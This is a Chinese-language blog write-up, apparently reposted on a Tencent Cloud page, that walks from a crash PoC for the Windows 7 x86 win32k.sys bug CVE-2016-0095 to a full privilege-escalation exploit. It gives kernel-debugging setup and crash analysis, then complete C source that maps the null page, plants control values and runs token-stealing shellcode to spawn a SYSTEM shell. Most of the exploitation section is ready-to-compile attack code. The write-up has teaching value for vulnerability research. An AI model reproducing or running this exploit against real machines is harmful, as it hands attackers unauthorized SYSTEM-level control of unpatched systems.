CVE-2016-0095从PoC到Exploit

利用Vmware进行双机调试

  1. 使用管理员模式运行cmd
  2. bcdedit /copy {current} /d “Windwos7[DEBUG]”
  3. 开启调试bcdedit /debug ONbcdedit /bootdebug ON
  4. 在Vmware的设备管理添加一个串口\\.\pipe\com_1
  5. 执行Windbg.exe -b -k com:port=\\.\pipe\com_1,baud=115200,pipe

注意 vmware 有个坑,默认添加打印机占用串口com1口,所以我们开启内核调试的串口就变成了com2,不过只要删除了com1即可。

利用VirtualKD和Vmware双机调试

Vmware利用串口进行双机调试就一个感受,慢。串口波特率115200也就是传输速度在14KB/s左右。

VirtualKD下载地址: http://virtualkd.sysprogs.org/download/

前提

造成BSoD的代码拿来直接编译不了,稍微修改了一下:

  • 加入了#include <tchar.h>
  • 声明WIN32KAPI#define W32KAPI DECLSPEC_ADDRSAFE
  • 获取KiFastSystemCall的地址:PVOID addr_kifastsystemcall = (PVOID)GetProcAddress(LoadLibrary("ntdll.dll"), "KiFastSystemCall");

修改后的源代码如下:

/**
* Author: bee13oy of CloverSec Labs
* BSoD on Windows 7 SP1 x86 / Windows 10 x86
* EoP to SYSTEM on Windows 7 SP1 x86
**/
#include <Windows.h>
#include <tchar.h>
#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")
#define W32KAPI  DECLSPEC_ADDRSAFE
unsigned int demo_CreateBitmapIndirect(void) {
    static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
    static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,
        0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };
    bitmap.bmBits = bits;
    SetLastError(NO_ERROR);
    HBITMAP hBitmap = CreateBitmapIndirect(&bitmap);
    return (unsigned int)hBitmap;
}
#define eSyscall_NtGdiSetBitmapAttributes 0x1110
W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(
    HBITMAP argv0,
    DWORD argv1
    )
{
    PVOID addr_kifastsystemcall = (PVOID)GetProcAddress(LoadLibrary("ntdll.dll"), "KiFastSystemCall");
    __asm
    {
        push argv1;
        push argv0;
        push 0x00;
        mov eax, eSyscall_NtGdiSetBitmapAttributes;
        mov edx, addr_kifastsystemcall;
        call edx;
        add esp, 0x0c;
    }
}
void Trigger_BSoDPoc() {
    HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
    HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);
    RECT rect = { 0 };
    rect.left = 0x368c;
    rect.top = 0x400000;
    HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);
    HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
    SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);
    HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);
    FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}
int _tmain(int argc, _TCHAR* argv[])
{
    Trigger_BSoDPoc();
    return 0;
}

使用vs2015编译,放到虚拟机运行不了,提示缺少VSRUNTIME140.dll,此时装一个vc++ 2015的运行环境即可。运行后直接蓝屏重启。

这个PoC对应的是一个内核漏洞,所以需要使用虚拟机进行双机调试。

然后执行程序,Windbg捕获到异常:

Access violation - code c0000005 (!!! second chance !!!)
win32k!bGetRealizedBrush+0x38:
93d50560 f6402401        test    byte ptr [eax+24h],1

发现程序在此崩溃,首先看调用栈:

kd> kb
ChildEBP RetAddr  Args to Child              
951909a0 832b34af 00000000 00000000 832ad5a0 win32k!bGetRealizedBrush+0x38
951909b8 83329b5e 95190af8 00000001 95190a7c win32k!pvGetEngRbrush+0x1f
95190a1c 833ab6e8 fe5f9018 00000000 00000000 win32k!EngBitBlt+0x337
95190a54 833abb9d fe5f9018 95190a7c 95190af8 win32k!EngPaint+0x51
95190c20 83e8d1ea 00000000 ffbff968 141006fe win32k!NtGdiFillRgn+0x339
95190c20 77c670b4 00000000 ffbff968 141006fe nt!KiFastCallEntry+0x12a
0028fe38 7662066b 7662064f 5f010631 1f040708 ntdll!KiFastSystemCallRet
0028fe3c 7662064f 5f010631 1f040708 141006fe gdi32!NtGdiFillRgn+0xc
0028fe5c 003310de 5f010631 1f040708 141006fe gdi32!FillRgn+0xb2
WARNING: Frame IP not in any known module. Following frames may be wrong.
0028fee4 766b3c45 7ffde000 0028ff30 77c837f5 0x3310de
0028fef0 77c837f5 7ffde000 77e6f957 00000000 kernel32!BaseThreadInitThunk+0xe
0028ff30 77c837c8 0033133a 7ffde000 00000000 ntdll!__RtlUserThreadStart+0x70
0028ff48 00000000 0033133a 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b

随后,使用ln看一下,

kd> ln
(93d50528)   win32k!bGetRealizedBrush+0x38   |  (93d50c9c)   win32k!xxxEnableWindow

崩溃发生在win32k.sys中的bGetRealizedBrush函数。此时eax为0,eax+24h = 0x00000024,内存不可读取,造成BSoD。

然后使用ida载入win32k.sys,看bGetRealizedBrush函数。

.text:BF84053C                 xor     eax, eax
.text:BF84053E                 jmp     loc_BF840C92
.text:BF840543 ; ---------------------------------------------------------------------------
.text:BF840543
.text:BF840543 loc_BF840543:                           ; CODE XREF: bGetRealizedBrush(BRUSH *,EBRUSHOBJ *,int (*)(_BRUSHOBJ *,_SURFOBJ *,_SURFOBJ *,_SURFOBJ *,_XLATEOBJ *,ulong))+12j
.text:BF840543                 push    ebx
.text:BF840544                 mov     ebx, [ebp+arg_4]
.text:BF840547                 push    esi
.text:BF840548                 xor     esi, esi
.text:BF84054A                 mov     [ebp+var_24], eax
.text:BF84054D                 mov     eax, [ebx+34h]
.text:BF840550                 mov     [ebp+arg_0], esi
.text:BF840553                 mov     [ebp+P], esi
.text:BF840556                 mov     [ebp+var_28], 0
.text:BF84055A                 mov     eax, [eax+1Ch]
.text:BF84055D                 mov     [ebp+arg_4], eax
.text:BF840560                 test    byte ptr [eax+24h], 1; => Creash here!!!

可以看到,eax是从ebx+34h获取的。ebx则是第二个参数。

取到的eax为fe5f9008

eax+1ch为0,现在需要知道+1ch是什么东西。

*************************************************************************
***                                                                   ***
***                                                                   ***
***    Your debugger is not using the correct symbols                 ***
***                                                                   ***
***    In order for this command to work properly, your symbol path   ***
***    must point to .pdb files that have full type information.      ***
***                                                                   ***
***    Certain .pdb files (such as the public OS symbols) do not      ***
***    contain the required information.  Contact the group that      ***
***    provided you with these symbols if you need this command to    ***
***    work.                                                          ***
***                                                                   ***
***    Type referenced: _EBRUSHOBJ                                    ***
***                                                                   ***
*************************************************************************
Symbol _EBRUSHOBJ not found.

回溯到win32k!NtGdiFillRgn当程序准备调用win32k!EngPaint时候:

kd> dd esp
9760ba5c  fe5fadb8 9760ba7c 9760baf8 fd795d60
9760ba6c  00000d0d 050106dd 0026fd34 93a6b864
9760ba7c  000038bc 00000000 00000000 00000008
9760ba8c  00000008 00000001 86a5e458 00000004
9760ba9c  9760bb04 83e51904 86a5e660 9760bae4
9760baac  fe9ff008 00000002 881a34c8 88543030
9760babc  ffffffff 00000000 00000000 00c1309c
9760bacc  00000000 83e7d7ad 0000008d 6aab658b

函数的声明如下:

int __stdcall EngPaint(struct _SURFOBJ *a1, int a2, struct _BRUSHOBJ *a3, struct _POINTL *a4, unsigned int a5)

可以得到fe5fadb8=>_SURFOBJ;9760baf8=>_BRUSHOBJ

然后在win32k!bGetRealizedBrush下断点,断下来后看参数。

kd> dd esp
9760b9a4  939734af fd7eb188 9760baf8 9396d5a0
9760b9b4  9760baf8 9760ba1c 939e9b5e 9760baf8
9760b9c4  00000001 9760ba7c fe5fadb8 00000000
9760b9d4  00000000 00000000 00000000 00000000
9760b9e4  00000023 00000023 00000000 fe5fada8
9760b9f4  939e9827 fe5fada8 ffffffff 00000030
9760ba04  00000001 9760ba7c fe5fadb8 00000000
9760ba14  00000000 00000000 9760ba54 93a6b6e8

发现

kd> dd 9760baf8
9760baf8  ffffffff 00000000 00000000 00edfc13
9760bb08  00edfc13 00000000 00000006 00000004
9760bb18  00000000 00ffffff fd7957c4 00000000
9760bb28  00000000 fe5fada8 ffbff968 ffbffe68
9760bb38  ffbbd540 00000006 fd7eb188 00000014
9760bb48  000000aa 00000001 83f71f01 83eba892
9760bb58  9760bb78 9760bbac 00000000 00000000
9760bb68  9760bc10 9760bbac 00000000 00000000

9760baf8+34h的值为fe5fada8,这个值恰好为fe5fadb8+10h,所以fe5fada8+1ch = fe5fadb8+10h+ch

打开brush.h看到_SURFOBJ结构体定义为:

typedef struct _SURFOBJ
{
    PVOID  dhsurf;
    PVOID   hsurf;
    PVOID  dhpdev;
    PVOID    hdev;
    LARGE_INTEGER   sizlBitmap;
    ULONG   cjBits;
    PVOID   pvBits;
    PVOID   pvScan0;
    LONG    lDelta;
    ULONG   iUniq;
    ULONG   iBitmapFormat;
    USHORT  iType;
    USHORT  fjBitmap;
} SURFOBJ;

所以,漏洞的本质是_SURFOBJ->hdev没有定义导致引用不可读内存,造成访问违例触发BSoD。

利用

x86的win 7 不存在 零页内存分配保护和SMEP。

所谓SMEP是一种安全措施,就是不能在内核态执行用户态的代码。

typedef NTSTATUS NtAllocateVirtualMemory(
    IN HANDLE     ProcessHandle,
    IN OUT PVOID  *BaseAddress,
    IN ULONG      ZeroBits,
    IN OUT PULONG AllocationSize,
    IN ULONG      AllocationType,
    IN ULONG Protect
    )

利用BaseAddress参数在零页内存中分配空间,但是当BaseAddress指定为0时,系统会寻找第一个未使用的内存块来分配,而不是在零页内存中分配。所以指定BaseAddress为1即可。

.text:BF840544                 mov     ebx, [ebp+arg_4]
.text:BF840547                 push    esi
.text:BF840548                 xor     esi, esi
.text:BF84054A                 mov     [ebp+var_24], eax
.text:BF84054D                 mov     eax, [ebx+34h]
.text:BF840550                 mov     [ebp+arg_0], esi
.text:BF840553                 mov     [ebp+P], esi
.text:BF840556                 mov     [ebp+var_28], 0
.text:BF84055A                 mov     eax, [eax+1Ch]
.text:BF84055D                 mov     [ebp+arg_4], eax ;注意,此时[ebp+arg_4]就是0了
.text:BF840560                 test    byte ptr [eax+24h], 1
.text:BF840564                 mov     [ebp+var_1C], esi
.text:BF840567                 mov     [ebp+var_10], esi

之后我们只需要找能控制程序指令流程的点,也就是call或者jmp一个我们可以改变的值上。因此我们找到了如下可能可以利用的点。

第一点

.text:BF84076B                 push    esi
.text:BF84076C                 push    ecx
.text:BF84076D                 push    ebx
.text:BF84076E                 call    [ebp+arg_8]
.text:BF840771                 test    eax, eax

第二点

.text:BF840816                 mov     edx, [ebx+0Ch]
.text:BF840819                 push    ecx
.text:BF84081A                 push    edx
.text:BF84081B                 push    [ebp+var_14]
.text:BF84081E                 push    eax
.text:BF84081F                 call    edi

第三点

.text:BF840C27                 push    [ebp+var_24]
.text:BF840C2A                 push    esi
.text:BF840C2B                 push    [ebp+var_1C]
.text:BF840C2E                 push    ecx
.text:BF840C2F                 push    eax
.text:BF840C30                 push    ebx
.text:BF840C31                 call    [ebp+arg_8]

回溯了整个函数发现eb[+arg_8]也就是这个函数的第三个参数其实我们是无法控制的。再会看第二点,寻找edi的来源,发现其实edi是可控。

可以发现edi来源与[[ebp+arg_4]+748h]不过此时[ebp+arg_4]是0,所以我们可以分配零页内存控制748h的数据。控制了edi就可以控制程序指令流程执行我们的token-steal shellcode来完成token的替换。

接下来需要控制程序执行到这里,继续回溯。

程序要走到我们能控制的地方需要图中红框的条件成立,经调试si=1。看到eax其实是0,所以需要控制590h和592h的值均为1。

最终我们的exploit如下:

/**
* Author: bee13oy of CloverSec Labs
* BSoD on Windows 7 SP1 x86 / Windows 10 x86
* EoP to SYSTEM on Windows 7 SP1 x86
**/
#include <Windows.h>
#include <tchar.h>
#include <stdio.h>
#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")
#define W32KAPI  DECLSPEC_ADDRSAFE
typedef NTSTATUS (WINAPI *pNtAllocateVirtualMemory)(
    IN HANDLE     ProcessHandle,
    IN OUT PVOID  *BaseAddress,
    IN ULONG      ZeroBits,
    IN OUT PULONG AllocationSize,
    IN ULONG      AllocationType,
    IN ULONG Protect
    );
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET    0x124    // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET   0x050    // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET        0x0B4    // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET      0x0B8    // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET      0x0F8    // nt!_EPROCESS.Token
#define SYSTEM_PID        0x004    // SYSTEM Process PID
// 4 params
int __stdcall TokenStealingShellcodeWin7(int a1,int a2,int a3,int a4) {
    // Importance of Kernel Recovery
    __asm {
        ; initialize
            pushad; save registers state
            xor eax, eax;
            mov eax, fs:[KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
            mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
            mov ecx, eax; Copy current _EPROCESS structure
            mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
            mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4
            SearchSystemPID:
            mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID
            mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
            mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM to current process
            popad; restore registers state
    }
    return 0;
}
unsigned int demo_CreateBitmapIndirect(void) {
    static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
    static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,
        0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };
    bitmap.bmBits = bits;
    SetLastError(NO_ERROR);
    HBITMAP hBitmap = CreateBitmapIndirect(&bitmap);
    return (unsigned int)hBitmap;
}
#define eSyscall_NtGdiSetBitmapAttributes 0x1110
W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(
    HBITMAP argv0,
    DWORD argv1
    )
{
    PVOID addr_kifastsystemcall = (PVOID)GetProcAddress(LoadLibrary("ntdll.dll"), "KiFastSystemCall");
    __asm
    {
        push argv1;
        push argv0;
        push 0x00;
        mov eax, eSyscall_NtGdiSetBitmapAttributes;
        mov edx, addr_kifastsystemcall;
        call edx;
        add esp, 0x0c;
    }
}
void Trigger_BSoDPoc() {
    HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
    HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);
    RECT rect = { 0 };
    rect.left = 0x368c;
    rect.top = 0x400000;
    HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);
    HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
    SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);
    HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);
    FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}
int _tmain(int argc, _TCHAR* argv[])
{
    PVOID base = (PVOID)0x1;
    SIZE_T size = 0x1000;
    FARPROC addr = GetProcAddress(GetModuleHandle("ntdll.dll"),"NtAllocateVirtualMemory");
    pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)addr;
    NTSTATUS status = NtAllocateVirtualMemory(
        GetCurrentProcess(),
        &base,
        0,
        &size,
        MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
        PAGE_EXECUTE_READWRITE
        );
    if (status != 0)
    {
        printf("[*]can not allocate null page");
    }
    memset(0x0, 0, 0x1000);
    void* bypass_one = (void *)0x590;
    *(LPBYTE)bypass_one = 0x1;
    void* bypass_two = (void *)0x592;
    *(LPBYTE)bypass_two = 0x1;
    void* jump_addr = (void *)0x748;
    *(LPDWORD)jump_addr = (DWORD)TokenStealingShellcodeWin7;
    Trigger_BSoDPoc();
    system("cmd.exe");
    return 0;
}

一定要注意,token-steal shellcode这个函数一定要有四个参数,以为call edi的时候传入了四个参数,如果不写参数会导致堆栈不平衡造成BSoD(如果在shellcode中平衡堆栈也可以)。

执行结果

参考

http://blog.nsfocus.net/null-pointer-vulnerability-defense/ https://www.whitehatters.academy/intro-to-windows-kernel-exploitation-3-my-first-driver-exploit/ http://blog.csdn.net/one_in_one/article/details/51766912 https://whereisk0shl.top/ssctf_pwn450_windows_kernel_exploitation_writeup.html https://github.com/k0keoyo/SSCTF-pwn450-ms16-034-writeup

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏高性能服务器开发

关于windows完成端口(IOCP)的一些理解(五)

系列目录 关于windows完成端口(IOCP)的一些理解(一) 关于windows完成端口(IOCP)的一些理解(二) 关于windows完成端口(IOCP)...

539110
来自专栏逸鹏说道

我这么玩Web Api(一)

帮助页面或用户手册(Microsoft and Swashbuckle Help Page) 前言   你需要为客户编写Api调用手册?你需要测试你的Api接口...

32250
来自专栏有趣的django

一个完整的Django入门指南(三)

第五部分  Introduction Welcome to the 5th part of the tutorial series! In this tutor...

51170
来自专栏小樱的经验随笔

自己手动复现一个熊猫烧香病毒

最近逛了一下 bilibili ,偶然的一次机会,我在 bilibili 上看到了某个 up 主分享了一个他自己仿照熊猫病毒的原型制作的一个病毒的演示视频,虽然...

91420
来自专栏本立2道生

Win32对话框程序(1)

之前学C语言是一直都是在控制台下面操作的,面对的都是黑框框,严重的打击了学习的兴趣。后来在TC下进行C语言课程设计,做了图形界面编程,但都是点线面画的…… 

21310
来自专栏deepcc

linux中nodejs后台运行工具forever

33980
来自专栏张善友的专栏

ASP.NET Web API RC版本新特性:Web API的帮助文档制作

InfoQ上有一篇文章是 使用IAPIExplorer列举ASP.NET Web API,文章针对的版本是ASP.NET Web API Beta版本写,IAP...

299100
来自专栏JMCui

Netty 系列八(基于 WebSocket 的简单聊天室).

    之前写过一篇 Spring 集成 WebSocket 协议的文章 —— Spring消息之WebSocket ,所以对于 WebSocket 协议的介绍...

41950
来自专栏分布式系统进阶

Kafka源码分析-网络层-2

这里面最主要的就是accept(key, processors(currentProcessor)) (4) accept: 设置新连接socket的参数后交...

13110
来自专栏Java与Android技术栈

Android App安全防范措施的小结

关闭打印的日志,防止日志中的调试信息被看到。如果在网络框架中使用了日志,那就更加需要关闭了。

12220

扫码关注云+社区

领取腾讯云代金券